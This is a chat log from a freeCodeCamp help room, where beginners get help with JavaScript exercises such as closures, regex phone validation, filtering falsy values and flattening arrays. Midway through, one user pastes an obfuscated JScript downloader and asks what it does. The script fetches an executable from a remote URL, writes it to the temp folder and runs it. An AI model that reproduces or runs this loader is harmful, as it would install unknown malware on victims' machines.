CamperBot @camperbot Jun 15 2016 03:56 UTC code-eric sends brownie points to @mafelix and @chrono79 and @bitgrower :sparkles: :thumbsup: :sparkles: :cookie: 272 | @mafelix |http://www.freecodecamp.com/mafelix :star2: 1178 | @chrono79 |http://www.freecodecamp.com/chrono79 :star2: 1101 | @bitgrower |http://www.freecodecamp.com/bitgrower Diego Mayer @Chrono79 Jun 15 2016 03:58 UTC @Jesse989 I think you've already read the useful links bitgrower @bitgrower Jun 15 2016 03:58 UTC @Jesse989 -- the trick to Arguments optional is not that it's returning a function (you've actually already been doing that when you write anonymous functions in methods like array.filter -- (it's just a variable, whose type is "function") ... the trick is in understanding closures ... :) and, to be honest, to help me understand closures, I did refer to external sources ... in particular, I believe Tony Alicea's "javascript the weird parts" course on Udemy was what helped clear it up ... and it became even more clear over time ... Jesse Neumann @Jesse989 Jun 15 2016 04:01 UTC yes, I am confused that I am getting arguments that look like "addTogether(2)(3)", I dont know where they go! bitgrower @bitgrower Jun 15 2016 04:01 UTC exactly ... do you know what a stack is ? Jesse Neumann @Jesse989 Jun 15 2016 04:01 UTC not yet, I need to go find out I am assuming! Chris Cullen @123xylem Jun 15 2016 04:01 UTC This message was deleted Diego Mayer @Chrono79 Jun 15 2016 04:02 UTC @Jesse989 addTogether(2) should return a function that adds 2 and 3 in that case Mohammed Ahmed @MohammedAhmed49 Jun 15 2016 04:02 UTC @Chrono79 thanks i solved it ^_^ CamperBot @camperbot Jun 15 2016 04:02 UTC mohammedahmed49 sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles: :star2: 1179 | @chrono79 |http://www.freecodecamp.com/chrono79 Chris Cullen @123xylem Jun 15 2016 04:02 UTC Just did this regex valid us telephone challenge. I had to basically cheat and learn someones answer(fastest way of learning it imo). But I just want to clarify 2 parts of the regex function telephoneCheck(str) { var regex=/^(1\s?) ? <<<WHY 2nd ? ($$\d{3}$$|\d{3})[\s\-]?\d{3}[\s\-]?\d{4}$/;  //And whats diff on this alternative^^ \d{3}

return regex.test(str);

}
telephoneCheck("123**&!!asdf#");
Why is there a ? and why alternative d{3}
bitgrower
@bitgrower
Jun 15 2016 04:02 UTC
also what I don't think is quite clearly explained in the AO challenge is that the the function you return will be immediately executed by the function which called arguments optional ...
Diego Mayer
@Chrono79
Jun 15 2016 04:03 UTC
@123xylem the 1 is optional, let me see, it's 1 am here
Chris Cullen
@123xylem
Jun 15 2016 04:03 UTC
so first char should be 1... but optional?
bitgrower
@bitgrower
Jun 15 2016 04:03 UTC
@123xylem - I recommend going thru the regexone tutorial ... after you finish the 1st tutorial, there is an advanced tutorial ... and you know what the first challenge is in that tutorial? Pretty much the same one as this challenge .. :)
it's pretty fast to go thru and it's well done, and it will answer your questions, I think ...
Chris Cullen
@123xylem
Jun 15 2016 04:04 UTC
Yea but u guys are faster :)
bitgrower
@bitgrower
Jun 15 2016 04:05 UTC
how do you think we got that way ?
Chris Cullen
@123xylem
Jun 15 2016 04:05 UTC
so first char is 1 with whitespace 0-1 times. that happens 0-1 times
bitgrower
@bitgrower
Jun 15 2016 04:05 UTC
by putting in the time .. :)
Diego Mayer
@Chrono79
Jun 15 2016 04:05 UTC
hackerrank regex challenges is a good source too
Chris Cullen
@123xylem
Jun 15 2016 04:05 UTC
Im standing on the shoulders of giants like u @bitgrower
bitgrower
@bitgrower
Jun 15 2016 04:06 UTC
hahahahahahahahaha ...
Chris Cullen
@123xylem
Jun 15 2016 04:06 UTC
dont make me climmb :)
bitgrower
@bitgrower
Jun 15 2016 04:06 UTC
so, this giant is telling you how to become a giant yourself ... really ... the first tutorial is like 10 exercises ... it's fun, actually (at least I found it fun)...
MertKulte
@MertKulte
Jun 15 2016 04:06 UTC
hello guys, i m working on random quote machine right now and I have a little question about share buttons. When I read facebook and twitter documentation, they give you classes and functions like FB.ui. How are they already in my code? I didnt add any external js?
Chris Cullen
@123xylem
Jun 15 2016 04:06 UTC
((\d{3})|\d{3}) What is the difference with these 2?
I will do that excercise after then .. I promise
bitgrower
@bitgrower
Jun 15 2016 04:07 UTC
...and the more comfortable you are with regexes, you will expand your software powers practically exponentially ... regexes are like programmer's secret spells
Diego Mayer
@Chrono79
Jun 15 2016 04:07 UTC
@123xylem one has escaped parentheses, not what you wrote in the last post, check the original regex
bitgrower
@bitgrower
Jun 15 2016 04:08 UTC
I have a GREAT love for regexes ... not because I'm awesome at them ... but because I know how powerful they are ... (and they are...incredibly powerful...)
if you want to be a decent programmer ... go do the tutorials...you'll thank me, I promise
also, there are a ton of wonderful regex tester resources (among other things) :smile:
help regexes
CamperBot
@camperbot
Jun 15 2016 04:10 UTC
no wiki entry for: regexes
bitgrower
@bitgrower
Jun 15 2016 04:10 UTC
help regex resources
CamperBot
@camperbot
Jun 15 2016 04:10 UTC

# Regular Expressions Resources

See also: :clipboard: Tutorials | :syringe: Testing | :soccer: Games | :newspaper: Blogs | :package: Software

Diego Mayer
@Chrono79
Jun 15 2016 04:10 UTC
this is what I did in that challenge, maybe there is a shorter version but meh: /^1?\s?($$\d{3}$$|\d{3})[\s-]?\d{3}[\s-]?\d{4}$/ it worked ;) Jonathan Carroll @gkcodeman Jun 15 2016 04:16 UTC  // Example function minusSeven(num) { return num - 7; } // Only change code below this line function timesFive(num){ return num * 5; } how is this correct? console reads timesfive(5) === 25 Instructions Create a function timesFive that accepts one argument, multiplies it by 5, and returns the new value. Diego Mayer @Chrono79 Jun 15 2016 04:20 UTC I'm gone, bye RakeshNerkar @Rakesh18754 Jun 15 2016 04:23 UTC can i use closure for the same functionOne(){ var = a; } functionTwo(){ var = b; } i want to access var a in function 2 Wayne Bunch @waynebunch Jun 15 2016 04:35 UTC  function myReplace(str, before, after) { var replace = RegExp(before, 'g'); return str.replace(replace, after); } myReplace("A quick brown fox jumped over the lazy dog", "jumped", "leaped"); Is there really no way to make this this keep capitalization of the replaced string? Chris Cullen @123xylem Jun 15 2016 04:36 UTC @Chrono79 @bitgrower thanks CamperBot @camperbot Jun 15 2016 04:36 UTC 123xylem sends brownie points to @chrono79 and @bitgrower :sparkles: :thumbsup: :sparkles: :star2: 1180 | @chrono79 |http://www.freecodecamp.com/chrono79 :star2: 1102 | @bitgrower |http://www.freecodecamp.com/bitgrower archan6le @archan6le Jun 15 2016 04:44 UTC hey guys... Wondering if you could help, I am doing "Make object Properties Private" and was able to get my code to return all the desired results listed. The only problem is that four of them are red 'x' . The code returns each desired outcome, I tested each one and it worked. Maybe my syntax is wrong? Here is my code var Bike = function() { // Only change code below this line. //private property called gear var gear = 0; //two public methods called getGear and setGear this.setGear = function(change){ gear += change; }; this.getGear = function(){ return gear; }; }; var myCar = new Car(); var myBike = new Bike(); myBike.setGear(4); Coy Sanders @coymeetsworld Jun 15 2016 04:47 UTC you don't have a Car function defined @archan6le you just have Bike archan6le @archan6le Jun 15 2016 04:54 UTC ty @coymeetsworld CamperBot @camperbot Jun 15 2016 04:54 UTC archan6le sends brownie points to @coymeetsworld :sparkles: :thumbsup: :sparkles: :star2: 1152 | @coymeetsworld |http://www.freecodecamp.com/coymeetsworld Mohammed Ahmed @MohammedAhmed49 Jun 15 2016 04:56 UTC i have a problem in this code the null isn't filtered any help ? Berik Taspikhov @btaspikhov Jun 15 2016 05:02 UTC Hi, I have a question on Check for Palindromes challenge. I am trying to delete special characters with this code function palindrome(str) { var newstr, arr; str = str.replace(/\s+|[.,_-]/g,""); str = str.toLowerCase(); console.log(str); newstr = str; arr = newstr.split(""); arr.reverse(); newstr=arr.join(""); console.log(newstr); return (str === newstr); } palindrome("00 .(: /-\ :) 0-0"); andreas2249 @andreas2249 Jun 15 2016 05:03 UTC Good evening, Campers. Tinkering with jQuery and buttons for first time. Can someone please show me why the one button handler I have isn't triggering? I've checked for typos, braces, brackets, spelling, etc. Even looked at StackOverflow for proper syntax... Here's my CodePen. Thanks in advance. :) https://codepen.io/andreas2249/pen/wWGVgg (It's the jQuery for "#btn1"...) Berik Taspikhov @btaspikhov Jun 15 2016 05:04 UTC People, how to put code fragments here& ? Shusil Banjade @shusil123 Jun 15 2016 05:05 UTC This message was deleted CamperBot @camperbot Jun 15 2016 05:05 UTC no wiki entry for: format Shusil Banjade @shusil123 Jun 15 2016 05:05 UTC wiki format CamperBot @camperbot Jun 15 2016 05:05 UTC ## :point_right: code formatting [wiki] # Multi line Code js ⇦ Type 3 backticks and then press [shift + enter ⏎] (type js or html or css) <paste your code here>, then press [shift + enter ⏎]  ⇦ Type 3 backticks, then press [enter ⏎] # Single line Code This an inline <paste code here> code formatting with a single backtick() at _start_ and _end_ around thecode. See also: ☛ How to type Backticks | ☯ Compose Mode | ❄ Gitter Formatting Basics byronsj @byronsj Jun 15 2016 05:06 UTC @btaspikhov i used str.replace(/\W|-|_/g, "") Shusil Banjade @shusil123 Jun 15 2016 05:07 UTC @btaspikhov , or simply /\W_/g, "" will work Berik Taspikhov @btaspikhov Jun 15 2016 05:08 UTC asasa replace(/\s+|[.,_-]/g,"") this removes "\" symbols too. I just do not understand why there is no condition for them in the statement Mohammed Ahmed @MohammedAhmed49 Jun 15 2016 05:09 UTC guys any help please :( Shusil Banjade @shusil123 Jun 15 2016 05:09 UTC @andreas2249 , Put your function swapInnerHTML , inside document.ready . byronsj @byronsj Jun 15 2016 05:09 UTC sorry @btaspikhov it was .replace(/\W|-|_/g,"") Shusil Banjade @shusil123 Jun 15 2016 05:09 UTC @MohammedAhmed49 , The problem ? Mohammed Ahmed @MohammedAhmed49 Jun 15 2016 05:09 UTC the null should be removed but it doesn't Ken Nawrocki @nawrockp Jun 15 2016 05:11 UTC @andreas2249 most likely jquery isnt loaded and you are using the$ variable
Change$to jQuery Berik Taspikhov @btaspikhov Jun 15 2016 05:12 UTC My question basically is why the even .replace(/[_]/g,"") replaces backslashes? ("\") Shusil Banjade @shusil123 Jun 15 2016 05:12 UTC @MohammedAhmed49 , instead of using all falsy values in if / else , you can simply use filter and Boolean object. Brian Mayers @4mifix Jun 15 2016 05:13 UTC @andreas2249 did you add the jQuery dependencies to run in your JS file? Mohammed Ahmed @MohammedAhmed49 Jun 15 2016 05:13 UTC i used filter and it works for all falsy vals but doesn't work for null Berik Taspikhov @btaspikhov Jun 15 2016 05:13 UTC input string: 0_0 .(: /-\_ :) 0-0 method: str.replace(/[_]/g,"") output string: 00 .(: /- :) 0-0 See there is no "\" ? Shusil Banjade @shusil123 Jun 15 2016 05:14 UTC @MohammedAhmed49 , var ar = arr.filter(Boolean); return ar; . It should work andreas2249 @andreas2249 Jun 15 2016 05:15 UTC @nawrockp, thank you for your prompt reply. Total newbie error: I didn't have the jQuery 'quickAdd' added in. Looks like that needs to be loaded for each new project. Thanks for your time and consideration. It works now. :) CamperBot @camperbot Jun 15 2016 05:15 UTC andreas2249 sends brownie points to @nawrockp :sparkles: :thumbsup: :sparkles: :cookie: 315 | @nawrockp |http://www.freecodecamp.com/nawrockp Mohammed Ahmed @MohammedAhmed49 Jun 15 2016 05:16 UTC wow it's so simple :D it doen't even need another func andreas2249 @andreas2249 Jun 15 2016 05:16 UTC @shusil123, thank you for your prompt reply. Newbie error on my part: Didn't have jQuery quickAdd loaded. Thanks again. :) CamperBot @camperbot Jun 15 2016 05:16 UTC andreas2249 sends brownie points to @shusil123 :sparkles: :thumbsup: :sparkles: :cookie: 443 | @shusil123 |http://www.freecodecamp.com/shusil123 Mohammed Ahmed @MohammedAhmed49 Jun 15 2016 05:16 UTC @shusil123 really thanks CamperBot @camperbot Jun 15 2016 05:16 UTC mohammedahmed49 sends brownie points to @shusil123 :sparkles: :thumbsup: :sparkles: :cookie: 444 | @shusil123 |http://www.freecodecamp.com/shusil123 Ken Nawrocki @nawrockp Jun 15 2016 05:16 UTC You should thank brian Brian Mayers @4mifix Jun 15 2016 05:17 UTC @nawrockp Thank you Ken CamperBot @camperbot Jun 15 2016 05:17 UTC 4mifix sends brownie points to @nawrockp :sparkles: :thumbsup: :sparkles: :cookie: 316 | @nawrockp |http://www.freecodecamp.com/nawrockp Shusil Banjade @shusil123 Jun 15 2016 05:17 UTC @MohammedAhmed49 , My pleasure. @andreas2249 . byronsj @byronsj Jun 15 2016 05:17 UTC @btaspikhov .replace(/\W/g, "") replaces almost everythive except for - and _ Berik Taspikhov @btaspikhov Jun 15 2016 05:18 UTC @byronsj, I understand that. But I don't understand the behavior of the method in this particular case. Markus Kiili @Masd925 Jun 15 2016 05:21 UTC @shusil123 You can do without the variable return arr.filter(Boolean); byronsj @byronsj Jun 15 2016 05:21 UTC @btaspikhov oh yes i saw thay too, if you return str befor you change it you will see it is alrady missing for somereson I'm not sure why Shusil Banjade @shusil123 Jun 15 2016 05:22 UTC @Masd925 , Just for simplicity. :smile: Thanks, sir.. CamperBot @camperbot Jun 15 2016 05:22 UTC shusil123 sends brownie points to @masd925 :sparkles: :thumbsup: :sparkles: :star2: 1866 | @masd925 |http://www.freecodecamp.com/masd925 Berik Taspikhov @btaspikhov Jun 15 2016 05:22 UTC @byronsj really? It means the problem is not in the method. Thank you. CamperBot @camperbot Jun 15 2016 05:22 UTC btaspikhov sends brownie points to @byronsj :sparkles: :thumbsup: :sparkles: :cookie: 242 | @byronsj |http://www.freecodecamp.com/byronsj andreas2249 @andreas2249 Jun 15 2016 05:29 UTC I'm reading that .toggle has been deprecated/removed from jQuery. Is there a replacement method? $(document).ready(function() {
$("#btn1").click(function() { swapInnerHtml(2, 0, "foo-bar") }); }); I'm just tinkering with buttons/jQuery for first time. Was trying to replace some text in a <p>-- then put it back again the way it was. Sorry. Forgot to include the called function:  function swapInnerHtml(i, delay, newText) { setTimeout(function() { document.getElementById("section-" + i).innerHTML = "Text " + i + " swapped out for \"" + newText + "\""; }, delay * 1000); }$(document).ready(function() {
$("#btn1").click(function() { swapInnerHtml(2, 0, "foo-bar") }); });  Tim @t1flanagan Jun 15 2016 05:31 UTC okay, what stupid mistake am I making here?  var Car = function(wheels, seats, engines) { //Change this constructor this.wheels = 4; this.seats = 1; this.engines = 1; }; //Try it out here var myCar = new Car(3,1,2); why won't this create the new object? Jon @Antiphilous Jun 15 2016 05:32 UTC Hey im looking for some guidance on the steamroller algorithim can anyone help me out? Shusil Banjade @shusil123 Jun 15 2016 05:32 UTC @Antiphilous , post what you have . DJ @qualitymanifest Jun 15 2016 05:32 UTC @t1flanagan what is the name of this challenge? Jon @Antiphilous Jun 15 2016 05:33 UTC  function steamrollArray(arr) { var mergeArr = []; // I'm a steamroller, baby for(i = 0; i <arr.length; i++){ while(arr[i].isArray){ mergeArr.concat(arr[i]); } } return mergeArr; } steamrollArray([1, [2], [3, [[4]]]]); I don't have much really I have been playing around with a few different things... I am just not sure how to flatten it down Tim @t1flanagan Jun 15 2016 05:33 UTC Make Unique Objects by Passing Parameters to our Constructor :) Stefan @st3fun1 Jun 15 2016 05:34 UTC Hi anyone here :)? I need some help with a function Shusil Banjade @shusil123 Jun 15 2016 05:34 UTC @st3fun1 , post the code Stefan @st3fun1 Jun 15 2016 05:35 UTC I want to make this function shorter function translatePigLatin(str) { var vocals = /[aeiouy]/gi; var arr = str.split(''); if(arr[0].match(vocals)){ return (str+'way'); } return str.substr(arr.findIndex(function(item){ return item.match(vocals); })) + str.substr(0,arr.findIndex(function(item){ return item.match(vocals); })) + 'ay'; } translatePigLatin("glove"); DJ @qualitymanifest Jun 15 2016 05:35 UTC @t1flanagan so, rather than hardcoding the values inside the constructor, assign them to the parameters given @t1flanagan i.e. this.wheels = wheels (since wheels is the name of one of the parameters) Tim @t1flanagan Jun 15 2016 05:36 UTC hmmm Sorry, it's not clicking for me. Don't the properties inside a constructor have to start with this. oh nevermind Shusil Banjade @shusil123 Jun 15 2016 05:38 UTC @Antiphilous , the correct syntax of isArray is : Array.isArray(arr[i]); Tim @t1flanagan Jun 15 2016 05:38 UTC Thanks @qualitymanifest , I got it. CamperBot @camperbot Jun 15 2016 05:38 UTC t1flanagan sends brownie points to @qualitymanifest :sparkles: :thumbsup: :sparkles: :star2: 1200 | @qualitymanifest |http://www.freecodecamp.com/qualitymanifest Shusil Banjade @shusil123 Jun 15 2016 05:39 UTC And , use if inside for, not while. You are using two loops. @Antiphilous Tim @t1flanagan Jun 15 2016 05:39 UTC Sometimes I get lost in what's a property, a variable, a parameter, etc. Shusil Banjade @shusil123 Jun 15 2016 05:40 UTC And you are not defining i . var i=0; i<arr.length; ..... @Antiphilous andreas2249 @andreas2249 Jun 15 2016 05:43 UTC @t1flanagan, I had the same issue. Found this on StackOverflow and wrote it down: 'argumentis the value/variable/reference being passed in;parameteris the receiving variable used with the function/block. Another way of saying it: A method hasparametersand takesarguments. Oops. Lemme try that again: @t1flanagan, I had the same issue. Found this on StackOverflow and wrote it down: argument is the value/variable/reference being passed in; parameter is the receiving variable used with the function/block. Another way of saying it: A method has parameters and takes arguments. Markus Kiili @Masd925 Jun 15 2016 06:00 UTC @Antiphilous Use steamrollArray to flatten the elements that are arrays. Stefan @st3fun1 Jun 15 2016 06:01 UTC I have a little problem with my algorithm  function translatePigLatin(str) { var pigLatin = ''; var vowels = /[aeiouy]/i; var arr = str.split(''); function findFirstVowel(item){ return item.match(vowels); } if(arr[0].match(vowels)){ pigLatin = str + 'way'; }else{ pigLatin = str.substr(arr.findIndex(findFirstVowel)) + str.substr(0,arr.findIndex(findFirstVowel)) + 'ay'; } return pigLatin; } translatePigLatin("dd"); It passes the other tests, but not when the word is made fully of consonants. What do I need to do? Jon @Antiphilous Jun 15 2016 06:01 UTC @Masd925 Thanks... Im just kind of researching it right now CamperBot @camperbot Jun 15 2016 06:01 UTC antiphilous sends brownie points to @masd925 :sparkles: :thumbsup: :sparkles: :star2: 1867 | @masd925 |http://www.freecodecamp.com/masd925 Jon @Antiphilous Jun 15 2016 06:02 UTC @Antiphilous I found some solutions out there but I don't fully understand them yet, it seems that recursion is the way to go Rodney Jan Mandap @r0dJm4n Jun 15 2016 06:03 UTC Anyone knows what this code do and why it's look like encrypted? var WQcNzAOJ= this['A\u0063\u0074i\u0076\u0065\u0058\u004F\u0062\u006Aec\u0074']; var wjripTgoR = new WQcNzAOJ('\u0057\u0053\u0063\u0072\u0069\u0070\u0074.\u0053\u0068el\u006C'); var UFzVwE = wjripTgoR['E\u0078p\u0061\u006E\u0064\u0045nviro\u006E\u006D\u0065\u006E\u0074\u0053tr\u0069\u006E\u0067\u0073']('%\u0054E\u004DP\u0025') + '\u002FYNA\u006C\u0074\u0053L\u004F\u002E\u0065x\u0065'; var imfYWN = new WQcNzAOJ('\u004DS\u0058\u004D\u004C\u0032\u002E\u0058\u004DL\u0048\u0054\u0054\u0050'); imfYWN['o\u006Er\u0065a\u0064\u0079s\u0074\u0061\u0074e\u0063h\u0061n\u0067e'] = function() { if (imfYWN['re\u0061d\u0079\u0073\u0074at\u0065'] === 4) { var uCGUYwIRv = new WQcNzAOJ('\u0041\u0044O\u0044\u0042\u002ES\u0074\u0072eam'); uCGUYwIRv['\u006Fp\u0065n'](); uCGUYwIRv['t\u0079\u0070e'] = 1; uCGUYwIRv['wri\u0074\u0065'](imfYWN['\u0052es\u0070o\u006E\u0073\u0065B\u006F\u0064\u0079']); uCGUYwIRv['p\u006Fs\u0069\u0074i\u006Fn'] = 0; uCGUYwIRv['\u0073\u0061ve\u0054o\u0046\u0069le'](UFzVwE, 2); uCGUYwIRv['c\u006Cos\u0065'](); }; }; try { var SfSPxFfe = '\u0052un'; imfYWN['\u006Fpe\u006E']('G\u0045T' , '\u0068t\u0074\u0070\u003A\u002F\u002F\u006Ba\u0072t\u006F\u006E\u0073\u0074anda\u006Db\u0061\u006C\u0061\u006A\u002E\u0063\u006F\u006D\u002Et\u0072\u002F\u0073\u0079s\u0074\u0065\u006D\u002Flog\u0073/\u00387\u0068\u0037\u00354', false); imfYWN['s\u0065\u006Ed'](); wjripTgoR [SfSPxFfe](UFzVwE, 1, false); } catch (ajg9ggxFs) {}; Markus Kiili @Masd925 Jun 15 2016 06:03 UTC @Antiphilous Also remember that .concat() returns a new array. Jon @Antiphilous Jun 15 2016 06:06 UTC @Masd925 Thanks CamperBot @camperbot Jun 15 2016 06:06 UTC antiphilous sends brownie points to @masd925 :sparkles: :thumbsup: :sparkles: :warning: antiphilous already gave masd925 points Vinay Jaju @vinay-jaju Jun 15 2016 06:17 UTC In the spinal Tap case How do i convert thisIsSpinalTap to this-is-spinal-tap Stefan @st3fun1 Jun 15 2016 06:17 UTC Ok guys, i finished my solution, sry for positing this much. Can you tell me if my solution is good? Now it works with all the tests + custom tests  function translatePigLatin(str) { var pigLatin = ''; var vowels = /[aeiouy]/i; var arr = str.split(''); function findFirstVowel(item){ return item.match(vowels); } //findFirstConsonant if(arr.findIndex(findFirstVowel) === 0){ pigLatin = str + 'way'; }else if(arr.findIndex(findFirstVowel) >= 0){ pigLatin = str.substr(arr.findIndex(findFirstVowel)) + str.substr(0,arr.findIndex(findFirstVowel)) + 'ay'; }else{ pigLatin = str + 'ay'; } return pigLatin; } translatePigLatin("zz"); Jon @Antiphilous Jun 15 2016 06:22 UTC @vinay-jaju I used RegExp Vinay Jaju @vinay-jaju Jun 15 2016 06:22 UTC Obviously but how I mean how do i find out where to add spaces @Antiphilous Jon @Antiphilous Jun 15 2016 06:23 UTC @vinay-jaju show me your code so far Vinay Jaju @vinay-jaju Jun 15 2016 06:23 UTC function spinalCase(str) { // "It's such a fine line between stupid, and clever." // --David St. Hubbins str=str.replace(/\s/gi,'-'); str=str.toLowerCase(); return str; } spinalCase('This Is Spinal Tap'); Jon @Antiphilous Jun 15 2016 06:24 UTC nice ok that is your friend There is particular bit of information at the bottom which is super cool x(?=y) Matches x only if x is followed by y. For example, /Jack(?=Sprat)/ matches "Jack" only if it is followed by "Sprat". /Jack(?=Sprat|Frost)/ matches "Jack" only if it is followed by "Sprat" or "Frost". However, neither "Sprat" nor "Frost" is part of the match results. x(?!y) Matches x only if x is not followed by y. For example, /\d+(?!.)/ matches a number only if it is not followed by a decimal point. /\d+(?!.)/.exec('3.141') matches "141" but not "3.141". Stefan @st3fun1 Jun 15 2016 06:25 UTC check Eloquent JS Chapter 9 for regex Jon @Antiphilous Jun 15 2016 06:26 UTC @vinay-jaju So you can match certain characters only if they have something coming before or after them so Vinay Jaju @vinay-jaju Jun 15 2016 06:29 UTC Alright. Got it! Thanks @Antiphilous CamperBot @camperbot Jun 15 2016 06:29 UTC vinay-jaju sends brownie points to @antiphilous :sparkles: :thumbsup: :sparkles: :cookie: 319 | @antiphilous |http://www.freecodecamp.com/antiphilous Jon @Antiphilous Jun 15 2016 06:30 UTC @vinay-jaju your welcome :D Alright I don't feel proud of it because I had to basically look up how to do the steamroller I understand the code except for the for in loop part can someone help me understand this  function steamrollArray(arr) { var flattenedArray = []; var flatten = function(argument){ if(!Array.isArray(argument)){ flattenedArray.push(argument); } else{ for( var a in argument){ //Code I don't fully understand flatten(argument[a]); } } }; arr.forEach(flatten); return flattenedArray; Markus Kiili @Masd925 Jun 15 2016 06:33 UTC @Antiphilous That is not a very good solution. There is no need to use an inner function. Jon @Antiphilous Jun 15 2016 06:34 UTC @Masd925 alright im still not understanding it then :/ Markus Kiili @Masd925 Jun 15 2016 06:35 UTC @Antiphilous It uses for...in to loop over array indices, which is also not recommended. Jon @Antiphilous Jun 15 2016 06:36 UTC @Masd925 Yes so how could I go over it otherwise? Markus Kiili @Masd925 Jun 15 2016 06:38 UTC @Antiphilous Simple for loop is better. @Antiphilous This is one good way to do it: function steamrollArray(arr) { if (Array.isArray(arr)) { var result = []; for (var i=0;i<arr.length;i++) { result = result.concat(steamrollArray(arr[i])); } return result; } else return arr; } And another one with iterator: function steamrollArray(arr) { return arr.reduce(function(previousValue, currentValue) { return previousValue.concat(Array.isArray(currentValue) ? steamrollArray(currentValue) : currentValue); }, []); } Shusil Banjade @shusil123 Jun 15 2016 06:46 UTC @Masd925 , I was seraching for the first solution. The second one was what i did to complete the challenge. Thanks a ton. CamperBot @camperbot Jun 15 2016 06:46 UTC shusil123 sends brownie points to @masd925 :sparkles: :thumbsup: :sparkles: :star2: 1868 | @masd925 |http://www.freecodecamp.com/masd925 Markus Kiili @Masd925 Jun 15 2016 06:52 UTC @shusil123 You're wellcome. Next, do it without recursion ;) himanshu mittal @himanshu081996 Jun 15 2016 06:52 UTC im getting problem with array.filter anyone plzz help Markus Kiili @Masd925 Jun 15 2016 06:52 UTC @himanshu081996 Sure. himanshu mittal @himanshu081996 Jun 15 2016 06:54 UTC @Masd925 if i have an array=[1,2,3,1,2,3] how can i remove 2 with array.filter Shusil Banjade @shusil123 Jun 15 2016 06:55 UTC @Masd925 , I'll do that . Without recursion. Sounds awesome. :smile: Markus Kiili @Masd925 Jun 15 2016 06:55 UTC @himanshu081996 var array=[1,2,3,1,2,3]; array=array.filter(function(elem){ return ??? }); So filter passes each array element into the callback function as value of elem. Figure out such return value which is true for numbers other than 2 and false for 2. Then it works. himanshu mittal @himanshu081996 Jun 15 2016 06:58 UTC what is mistake in below code function bouncer(arr) { return arr.filter(function(i){ return i !=="false" || i !=="null" || i !==0 || i !=="undefined" || i !=="NaN"; }); } bouncer([7, "ate", "", false, 9]); @Masd925 Markus Kiili @Masd925 Jun 15 2016 06:59 UTC @himanshu081996 Use &&. Also NaN is special because NaN is not equal to anything. null without quotes. undefined without quotes. himanshu mittal @himanshu081996 Jun 15 2016 06:59 UTC @Masd925 oops thanks. CamperBot @camperbot Jun 15 2016 06:59 UTC himanshu081996 sends brownie points to @masd925 :sparkles: :thumbsup: :sparkles: :star2: 1869 | @masd925 |http://www.freecodecamp.com/masd925 Markus Kiili @Masd925 Jun 15 2016 07:00 UTC Those are special values, not strings. himanshu mittal @himanshu081996 Jun 15 2016 07:00 UTC okk @Masd925 Markus Kiili @Masd925 Jun 15 2016 07:00 UTC You can test a variable for not being NaN with i===i, because NaN===NaN is false. himanshu mittal @himanshu081996 Jun 15 2016 07:04 UTC i===i ??? @Masd925 im not getting this @Masd925 PrinceLex @PrinceLex Jun 15 2016 07:06 UTC Hello, can I get some help with this? function updateRecords(id, prop, value) { if (prop == "tracks" && value !== "") { collection[id].tracks.push(value); } else if (value !== "") { collection[id][prop] = value; } else if (value === "") { delete collection[id][prop]; } return collection; } I can't get the function to work because console says "Cannot read property "push" of undefined Jason Keenan @raavin Jun 15 2016 07:07 UTC This message was deleted Markus Kiili @Masd925 Jun 15 2016 07:07 UTC @himanshu081996 Variable i can hold values, like 0, "catpants", NaN, etc. All values are equal to themselves, except for NaN which is not equal to any value. Even NaN===NaN is false. Therefore i===i is false only if i is NaN. Threrefore you can test i for not being NaN with i===i. himanshu mittal @himanshu081996 Jun 15 2016 07:08 UTC @Masd925 ohh thanks man. CamperBot @camperbot Jun 15 2016 07:08 UTC himanshu081996 sends brownie points to @masd925 :sparkles: :thumbsup: :sparkles: :warning: himanshu081996 already gave masd925 points Markus Kiili @Masd925 Jun 15 2016 07:08 UTC @PrinceLex Create the tracks array if it is absent. PrinceLex @PrinceLex Jun 15 2016 07:10 UTC I tried checking with hasOwnProperty, then creating the array, but it didn't work Markus Kiili @Masd925 Jun 15 2016 07:11 UTC @PrinceLex That is the correct way. Alexander Køpke @alexanderkopke Jun 15 2016 07:13 UTC yeah creating an empty tracks array works fine. All that is needed PrinceLex @PrinceLex Jun 15 2016 07:14 UTC function updateRecords(id, prop, value) { if (prop == "tracks" && value !== "") { if (collection[id].hasOwnProperty("tracks")) { collection[id].tracks.push(value); } else { tracks = new Array(); collection[id].tracks.push(value); } } else if (value !== "") { collection[id][prop] = value; } else if (value === "") { delete collection[id][prop]; } return collection; } I'm getting the same error message Alexander Køpke @alexanderkopke Jun 15 2016 07:16 UTC This message was deleted Markus Kiili @Masd925 Jun 15 2016 07:16 UTC @PrinceLex Assign the array to the property value. Alexander Køpke @alexanderkopke Jun 15 2016 07:16 UTC wait.. you did PrinceLex @PrinceLex Jun 15 2016 07:17 UTC @Masd925 How do I do that? Alexander Køpke @alexanderkopke Jun 15 2016 07:17 UTC I was doing collection[id].tracks = []; PrinceLex @PrinceLex Jun 15 2016 07:17 UTC Never had so much trouble with an exercise Markus Kiili @Masd925 Jun 15 2016 07:17 UTC This message was deleted PrinceLex @PrinceLex Jun 15 2016 07:17 UTC IT WORKED Many thanks, everyone Alexander Køpke @alexanderkopke Jun 15 2016 07:18 UTC :) stricknein @stricknein Jun 15 2016 07:24 UTC @Masd925 how many people do you think you have helped on the record or the profile look up challenges? Markus Kiili @Masd925 Jun 15 2016 07:25 UTC @stricknein :) 300 maybe @stricknein 200 destroyers. stricknein @stricknein Jun 15 2016 07:26 UTC @Masd925 wow. Thats intense. It seems like most of them have issues with the logic branching on those two. At least from what I have seen @Masd925 do you have your full stack dev cert ? Markus Kiili @Masd925 Jun 15 2016 07:27 UTC @stricknein No. I work as a coder full time, so no energy to do the projects at the moment. stricknein @stricknein Jun 15 2016 07:28 UTC @Masd925 I c I c. what type of coding if you dont mind me askin? Markus Kiili @Masd925 Jun 15 2016 07:29 UTC @stricknein Javascript/angular applications. himanshu mittal @himanshu081996 Jun 15 2016 07:31 UTC i have to remove 2 and 3 from my array[0] in below code what is wrong in below code function destroyer(arr) { var array=arr[0]; return array.filter(function(elem){ for(var i=1;i<arr.length;i++){ return elem!==arr[i]; } }); } destroyer([1, 2, 3, 1, 2, 3], 2, 3); Markus Kiili @Masd925 Jun 15 2016 07:32 UTC @himanshu081996 Use arguments object for those extra arguments after the passed array. Kelvin Mungai @munga4 Jun 15 2016 07:32 UTC @stricknein Hi any help on this, Access MultiDimensional Arrays With Indexes! var myData = myArray[0][0]; myData [1] = 3; stricknein @stricknein Jun 15 2016 07:32 UTC @Masd925 Nice nice. Im finishing my last year at university for Cyber Operations. Mostly do haphazard coding in c/c++ and python to get the job done. Found this site and figured I would learn about dev web 